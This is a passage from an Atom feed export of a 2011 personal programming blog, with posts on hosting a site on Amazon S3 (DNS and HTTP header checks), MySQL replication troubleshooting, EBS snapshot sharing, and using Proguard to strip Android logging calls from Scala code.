<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1833472842980588464</id><updated>2011-11-24T16:37:30.369-08:00</updated><title type='text'>Joseph Barillari's weblog</title><subtitle type='html'>Core dumped.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default?start-index=101&amp;max-results=100'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>183</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3995053865232449749</id><published>2011-04-04T20:56:00.000-07:00</published><updated>2011-04-04T20:57:41.766-07:00</updated><title type='text'>ENSIME ftw</title><content type='html'>If you hack Scala in Emacs, you &lt;i&gt;must&lt;/i&gt; try &lt;a href="https://github.com/aemoncannon/ensime"&gt;ENSIME&lt;/a&gt;. The sbt-shell mode alone is worth the price of admission.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3995053865232449749?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3995053865232449749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/04/ensime-ftw.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3995053865232449749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3995053865232449749'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/04/ensime-ftw.html' title='ENSIME ftw'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7680313993592566550</id><published>2011-02-23T22:24:00.000-08:00</published><updated>2011-03-04T09:37:33.287-08:00</updated><title type='text'>Why you *can't* run your website from Amazon S3 (at least, not entirely)</title><content type='html'>A few days ago, I saw a blog post by Amazon CTO Werner Vogels: "&lt;a href="http://www.allthingsdistributed.com/2011/02/website_amazon_s3.html"&gt;New AWS feature: Run your website from Amazon S3&lt;/a&gt;." I wanted to set up a static website at barillari.org and thought this would be a great way to do it.&lt;br /&gt;&lt;br /&gt;After uploading my files to S3, I edited my DNS settings. I tried adding a CNAME record to point barillari.org to s3-website-us-east-1.amazonaws.com. For some reason, GoDaddy refused to let me do this. Googling eventually led me to &lt;a href="https://support.dnsmadeeasy.com/index.php?_m=knowledgebase&amp;amp;_a=viewarticle&amp;amp;kbarticleid=14&amp;amp;nav=0,1"&gt;this page&lt;/a&gt;, which explained that RFC 1034 prohibits creating a CNAME for the root of a domain. In other words, while I could point &lt;span style="font-style: italic;"&gt;www&lt;/span&gt;.barillari.org to S3, I couldn't point barillari.org to S3. I would have to set up a server somewhere to server redirects from barillari.org to www.barillari.org.&lt;br /&gt;&lt;br /&gt;I'm not the first to post about the root CNAME issue: there are some comments about it on Dr. Vogels's initial post, and even a &lt;a href="http://www.allthingsdistributed.com/2011/02/website_amazon_s3.html#comment-154414764"&gt;reply from Dr. Vogels&lt;/a&gt; where he tells a reader to "redirect {mysite}.com to www.{mysite}.com." (How is the user supposed create a redirect using only S3? Read on.)&lt;br /&gt;&lt;br /&gt;Less than 12 hours ago, Dr. Vogels followed up with a new post, "&lt;a href="http://www.allthingsdistributed.com/2011/02/weblog_in_amazon_s3.html"&gt;Free at Last - A Fully Self-Sustained Blog Running in Amazon S3&lt;/a&gt;." He explains that by switching to Disquis for comments and Bing for search, he was able to move his blog &lt;span style="font-style: italic;"&gt;entirely&lt;/span&gt; to S3.&lt;br /&gt;&lt;br /&gt;Entirely? How did he solve the redirection problem? Let's see:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ host allthingsdistributed.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;allthingsdistributed.com has address 74.208.227.55&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;allthingsdistributed.com mail is handled by 10 mx01.1and1.com.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;allthingsdistributed.com mail is handled by 10 mx00.1and1.com.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Whom does that address belong to?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ whois 'n 74.208.227.55'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# The following results may also be obtained via:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# http://whois.arin.net/rest/nets;q=74.208.227.55?showDetails=true&amp;amp;showARIN=false&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NetRange:       74.208.0.0 - 74.208.255.255&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CIDR:           74.208.0.0/16&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;OriginAS:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NetName:        1AN1-NETWORK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NetHandle:      NET-74-208-0-0-1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Parent:         NET-74-0-0-0-0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NetType:        Direct Allocation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NameServer:     NSA2.1AND1.COM&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NameServer:     NSA.1AND1.COM&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Comment:        For abuse issues, please use only abuse@1and1.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;RegDate:        2006-11-22&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Updated:        2009-08-12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Ref:            http://whois.arin.net/rest/net/NET-74-208-0-0-1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It doesn't look like 74.208.227.55 belongs to S3. Let's see what happens when we connect:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ telnet allthingsdistributed.com 80&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Trying 74.208.227.55...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Connected to allthingsdistributed.com.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Escape character is '^]'.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HEAD / HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: allthingsdistributed.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Length: 79640&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: text/html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Location: http://allthingsdistributed.com/index.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Last-Modified: Thu, 24 Feb 2011 02:21:34 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Accept-Ranges: bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ETag: "af7bb38ec9d3cb1:447"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);font-family:courier new;" &gt;Server: Microsoft-IIS/6.0            &lt;--- Definitely not S3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;X-Powered-By: ASP.NET&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Date: Thu, 24 Feb 2011 06:43:43 GMT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It looks like allthingsdistributed.com still points to Dr. Vogels's old server. If you go to &lt;span style="font-style: italic;"&gt;www&lt;/span&gt;.allthingsdistributed.com, however, the site is indeed served from S3:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ telnet www.allthingsdistributed.com 80&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Trying 72.21.203.159...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Connected to s3-website-us-east-1.amazonaws.com.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Escape character is '^]'.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HEAD / HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: www.allthingsdistributed.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;x-amz-id-2: JycRZ0LH9NSGYyM6A+B24cSpSs5AsMUTH8wn95OoVwnOcrDQ/Q2/xbcldydB+IGQ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;x-amz-request-id: 18BBB3B91F04D1B6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Date: Thu, 24 Feb 2011 06:50:53 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Cache-Control: no-cache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Last-Modified: Thu, 24 Feb 2011 02:25:20 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ETag: "000d8cb6f9e84d4012aaa0739c48038d"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: text/html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Length: 79640&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);font-family:courier new;" &gt;Server: AmazonS3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;What does this mean? It means that there is still one final dependency if you want to serve your site from S3. Unless you want to ignore users who go to {mysite}.com instead of www.{mysite}.com, you need a web server that redirects users from {mysite}.com to www.{mysite}.com. Apache's mod_rewrite can do this. In fact, the manual for mod_rewrite even provides &lt;a href="http://httpd.apache.org/docs/2.2/rewrite/rewrite_guide.html#canonicalhost"&gt;an example&lt;/a&gt; of how to do exactly that.&lt;br /&gt;&lt;br /&gt;A generously-minded individual (or AWS) could even set up one redirection server for &lt;span style="font-style: italic;"&gt;everyone&lt;/span&gt; who wanted to host their second-level domain in S3. Those who wanted to host their sites in S3 could just point the root A record for their domain to the redirector, which could be an Apache server with a mod_rewrite configuration that looks something like this:&lt;br /&gt;&lt;pre&gt;RewriteCond %{HTTP_HOST}   ^[^.]+\.[a-z]+$ [NC]&lt;br /&gt;RewriteRule ^/?(.*)         http://www.%{HTTP_HOST}/$1 [L,R=301,NE]&lt;/pre&gt;&lt;span style="font-size:85%;"&gt;[I haven't tested this and am not an Apache expert, so please let me know if you can't perform %{variable} substitution in a RewriteRule.]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Until such a service exists, you will still need an HTTP server elsewhere in order to host your entire site in S3.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[How did I solve this issue? I avoided it. I put the content in EBS and served it from an EC2 instance. I use EC2 for &lt;a href="http://virebo.com/"&gt;other projects&lt;/a&gt; and have always been pleased with it.]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;: See Dr. Vogels's response in the comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7680313993592566550?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7680313993592566550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/02/why-you-cant-run-your-website-from.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7680313993592566550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7680313993592566550'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/02/why-you-cant-run-your-website-from.html' title='Why you *can&apos;t* run your website from Amazon S3 (at least, not entirely)'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8731004723349394745</id><published>2011-02-21T11:57:00.000-08:00</published><updated>2011-02-22T14:41:11.657-08:00</updated><title type='text'>Great title, poor execution</title><content type='html'>I saw this article earlier today:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://joncrawford.com/how-i-got-kicked-out-of-y-combinator-and-rais"&gt;http://joncrawford.com/how-i-got-kicked-out-of-y-combinator-and-rais&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It turns out that being "kicked out of Y Combinator" was less dramatic than I thought. I was kind of expecting the author would describe having his &lt;span style="text-decoration: line-through;"&gt;epaulettes&lt;/span&gt; hipster goatee &lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/Cashiering"&gt;ceremoniously torn off&lt;/a&gt;, his iPad shattered, his Twitter account cancelled, his Posterous background replaced with Goatse, and being stripped to his undershorts, rolled in honey and feathers, and dumped just outside the border of Mountain View.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8731004723349394745?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8731004723349394745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/02/great-title-poor-execution.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8731004723349394745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8731004723349394745'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/02/great-title-poor-execution.html' title='Great title, poor execution'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8189566650357481639</id><published>2011-01-29T16:44:00.000-08:00</published><updated>2011-01-29T16:46:38.091-08:00</updated><title type='text'>Troubleshooting mysql replication</title><content type='html'>PROTIP: When you're stuck on "Waiting to reconnect after a failed master event read" or some other equally unhelpful error message, start the slave mysqld &lt;span style="font-style: italic;"&gt;on the console&lt;/span&gt;. You'll get much more useful error mesages that Ubuntu appears to be to be filtering from syslog, like:&lt;br /&gt;&lt;br /&gt;110130  0:41:25 [ERROR] Error reading packet from server: Access denied; you need the REPLICATION SLAVE privilege for this operation ( server_errno=1227)&lt;br /&gt;&lt;br /&gt;PROTIP 2: Note that the replication will start as soon as you fix the problem, so you might want to run it using 'screen' so you can wait for an opportune time to kill the slave mysqld and restart it using &lt;span style="font-family: courier new;"&gt;/etc/init.d/mysql start&lt;/span&gt; or &lt;span style="font-family: courier new;"&gt;start mysql&lt;/span&gt; or whathaveyou.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8189566650357481639?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8189566650357481639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/01/troubleshooting-mysql-replication.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8189566650357481639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8189566650357481639'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/01/troubleshooting-mysql-replication.html' title='Troubleshooting mysql replication'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-847653352576834655</id><published>2011-01-29T14:21:00.000-08:00</published><updated>2011-01-29T14:26:27.582-08:00</updated><title type='text'>Sharing EBS snapshots on EC2</title><content type='html'>If you want to share an EBS volume snapshot on EC2 with another account the Amazon documentation explains how: find the account number of the target account, right-click the snapshot on the management console, choose permissions, and add the account number. What the instructions &lt;span style="font-style: italic;"&gt;don't&lt;/span&gt; say is that you can't actually create a volume from that snapshot on the target account---it won't show up on the list. You have to use the command-line tool &lt;span style="font-family: courier new;"&gt;ec2-create-snapshot&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-847653352576834655?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/847653352576834655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/01/sharing-ebs-snapshots-on-ec2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/847653352576834655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/847653352576834655'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/01/sharing-ebs-snapshots-on-ec2.html' title='Sharing EBS snapshots on EC2'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1416065573390154847</id><published>2011-01-03T01:42:00.000-08:00</published><updated>2011-01-03T17:25:52.908-08:00</updated><title type='text'>Excising android.util.Log calls when you publish your Android app</title><content type='html'>&lt;p&gt;The Android platform includes support for debuggers, but since &lt;a href="http://lwn.net/2000/0914/a/lt-debugger.php3"&gt;real programmers don't use debuggers&lt;/a&gt; (and because I'm not using Eclipse), I use the equivalent of &lt;tt&gt;printf&lt;/tt&gt;: &lt;tt&gt;android.util.Log&lt;/tt&gt; to follow what's going on in my programs&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Because there's no macro processor in Java (or Scala, which I'm actually using), there are two standard ways to remove debugging statements from your code before you ship it:&lt;br /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Prefix every call to the logging function with an if statement:&lt;br /&gt;&lt;pre&gt;if (GlobalConstants.DEBUG) Log.v(GlobalConstants.LOG_TAG, "isBetterLocation(): isSignificantlyNewer-&gt;ret true")&lt;br /&gt;&lt;/pre&gt;A Makefile (or whatever your build system) can set GlobalConstants.DEBUG appropriately. This is regrettably verbose.* It also doesn't actually eliminate the code: maybe the Scala compiler isn't optimizing hard enough, but when I disassemble the class files (actually, the &lt;a href="http://dedexer.sourceforge.net/"&gt;dex files&lt;/a&gt;), they're still there, wasting precious bytes, even though they never will be called.**&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tell Proguard to eliminate the calls to logging functions with a configuration directive like:&lt;br /&gt;&lt;pre&gt;-assumenosideeffects class android.util.Log {public static int v(...);public static int d(...);public static int w(...);public static int i(...);}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since I'm running Proguard anyway (the &lt;a href="http://zegoggl.es/2009/12/building-android-apps-in-scala-with-sbt.html"&gt;Scala Build Tool Android plugin&lt;/a&gt; runs it by default), this would seem to be the best way.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The only problem was that Method #2 didn't work. I tried loads of variants on the class specification for -assumenosideeffects, but the Log statements kept showing up in the code.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;It turned out that there were no less than &lt;i&gt;two&lt;/i&gt; reasons why it wasn't working.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The first was that the scala-build-tool Android plugin had switched off Proguard's optimization by adding the &lt;tt&gt;-dontoptimize&lt;/tt&gt; switch in &lt;tt&gt;AndroidProject.scala&lt;/tt&gt;:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;def proguardTask = task {&lt;br /&gt; val args = "-injars" ::  mainCompilePath.absolutePath+File.pathSeparator+&lt;br /&gt;                          scalaLibraryJar.getAbsolutePath+"(!META-INF/MANIFEST.MF,!library.properties)"+&lt;br /&gt;                          (if (!proguardInJars.getPaths.isEmpty) File.pathSeparator+proguardInJars.getPaths.map(_+"(!META-INF/MANIFEST.MF)").mkString(File.pathSeparator) else "") ::                          &lt;br /&gt;            "-outjars" :: classesMinJarPath.absolutePath ::&lt;br /&gt;            "-libraryjars" :: libraryJarPath.getPaths.mkString(File.pathSeparator) ::&lt;br /&gt;            "-dontwarn" :: "-dontoptimize" :: "-dontobfuscate" ::      // &lt;------ ROFL                 "-keep public class * extends android.app.Activity" ::                   "-keep public class * extends android.app.Service" ::                  [definition continues ...] &lt;/pre&gt;&lt;p&gt;Fortunately, that was easy to fix once I knew what to look for. I copied &lt;tt&gt;proguardTask&lt;/tt&gt; into the &lt;tt&gt;MainProject&lt;/tt&gt; class of my&lt;tt&gt; project/build/MyProjectName.scala&lt;/tt&gt; project definition file, slapped on an &lt;tt&gt;override&lt;/tt&gt;, and deleted the offending&lt;tt&gt; "-dontoptimize"&lt;/tt&gt; (and &lt;tt&gt;"-dontobfuscate"&lt;/tt&gt;, too).&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Despite that fix, Proguard &lt;i&gt;still&lt;/i&gt; wouldn't erase the Log calls. Casting around for the second reason (and wondering why I didn't just solve this problem with a few calls to &lt;tt&gt;sed&lt;/tt&gt; in a Makefile), I unzipped the generated .apk and disassembled the&lt;tt&gt; classes.dex&lt;/tt&gt; file with &lt;a href="http://dedexer.sourceforge.net/"&gt;dedexer&lt;/a&gt;. Inside was code like this:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;sget-object v1,com/mycode/android/GlobalConstants$.MODULE$ Lcom/mycode/android/GlobalConstants$;&lt;br /&gt;invoke-interface {v1},com/mycode/android/GlobalDebugState/DEBUG ; DEBUG()Z&lt;br /&gt;move-result v1&lt;br /&gt;if-eqz v1,l1d01c&lt;br /&gt;sget-object v1,com/mycode/android/GlobalConstants$.MODULE$ Lcom/mycode/android/GlobalConstants$;&lt;br /&gt;invoke-virtual {v1},com/mycode/android/GlobalConstants$/LOG_TAG ; LOG_TAG()Ljava/lang/String;&lt;br /&gt;move-result-object v1&lt;br /&gt;const-string v2,"clickTakePicture: erasing picture..."&lt;br /&gt;invoke-static {v1,v2},android/util/Log/v ; v(Ljava/lang/String;Ljava/lang/String;)I&lt;br /&gt;move-result v1&lt;br /&gt;invoke-static {v1},java/lang/Integer/valueOf ; valueOf(I)Ljava/lang/Integer;&lt;br /&gt;l1d01c:&lt;br /&gt;(code continues...)&lt;br /&gt;&lt;/pre&gt;Note that &lt;i&gt;after&lt;/i&gt; the call to Log.v, the program is doing something with the result of that function: it's calling valueOf on the result. Why on earth is it doing this?&lt;br /&gt;&lt;p&gt;My guess was that it had something to do with the fact that the&lt;tt&gt; if&lt;/tt&gt; statement in Scala is also an expression: it evaluates to the value of the last expression in the code block it executed. So you can write the following:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;scala&gt; 3 + (if (1&gt;2) 5 else 6)&lt;br /&gt;res0: Int = 9&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;I hypothesized that the Scala compiler was keeping the result of the Log.v function call around so that &lt;tt&gt;if (GlobalConstants.DEBUG)&lt;/tt&gt; would be able to return a value. Now, it shouldn't have done so, because I wasn't actually using the &lt;tt&gt;if&lt;/tt&gt; expression. Call this a bug in Scala. Proguard, noticing that the program was doing&lt;i&gt; something&lt;/i&gt; with the return value of Log, refused to optimize it away.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;On that hunch, I tried removing all of the &lt;tt&gt;if (GlobalConstants.DEBUG)&lt;/tt&gt; conditionals. The Log statements disappeared. Success!&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Well, not quite. Because every code block in Scala evaluates to the value of the last expression evaluated inside that block, there were code blocks where the call to Log &lt;i&gt;was&lt;/i&gt; the last such call. For instance, this case, where I was using pattern matching as flow control but ignoring the return value of the match:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;   mevt.getAction match {&lt;br /&gt;      case x:Int if x == MotionEvent.ACTION_DOWN || x == MotionEvent.ACTION_MOVE =&gt; {&lt;br /&gt;         mLastTB = topBottomNeither&lt;br /&gt;         mLastY = mevt.getY&lt;br /&gt;         Log.v(SQConstants.LOG_TAG, "onTouchEvent started new state:" + mLastTB  + " mevtY:" + mLastY)&lt;br /&gt;       }&lt;br /&gt;      case _ =&gt; null&lt;br /&gt;   }&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;To get the Scala compiler to discard the return value from that&lt;tt&gt; Log.v&lt;/tt&gt;, I inserted a null after it, as the last expression in the &lt;tt&gt;case x&lt;/tt&gt;... block above. &lt;i&gt;Success!&lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Well, not &lt;i&gt;exactly&lt;/i&gt;. Now my code is peppered with unnecessary nulls (or any literal). I should track down the offending bug in Scala, but I think I've sunk enough time into this one already.) And, to make matters worse, -assumenosideeffects eliminates the function calls but won't optimize away any expressions in the arguments to the log functions: e.g., if you have the line:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;   Log.v(Constants.LOG_TAG, " NPT.before() called on ctx:" + context);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;You get this (completely unused) computation in the output:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;.line 623&lt;br /&gt;     new-instance    v0,scala/collection/mutable/StringBuilder&lt;br /&gt;     invoke-direct   {v0},scala/collection/mutable/StringBuilder/&lt;init&gt;      ; &lt;init&gt;()V&lt;br /&gt;     const-string    v1," NPT.before() called on ctx:"&lt;br /&gt;     invoke-virtual  {v0,v1},scala/collection/mutable/StringBuilder/append   ; append(Ljava/lang/Object;)Lscala/collection/mutable/StringBuilder;&lt;br /&gt;     move-result-object      v0&lt;br /&gt;     invoke-virtual  {v0,v8},scala/collection/mutable/StringBuilder/append   ; append(Ljava/lang/Object;)Lscala/collection/mutable/StringBuilder;&lt;br /&gt;     move-result-object      v0&lt;br /&gt;     invoke-virtual  {v0},scala/collection/mutable/StringBuilder/toString    ; toString()Ljava/lang/String;&lt;br /&gt;&lt;/init&gt;&lt;/init&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[note that you have to turn off obfuscation to see the actual method and object names]&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;We could tell Proguard to assumenosideeffects for 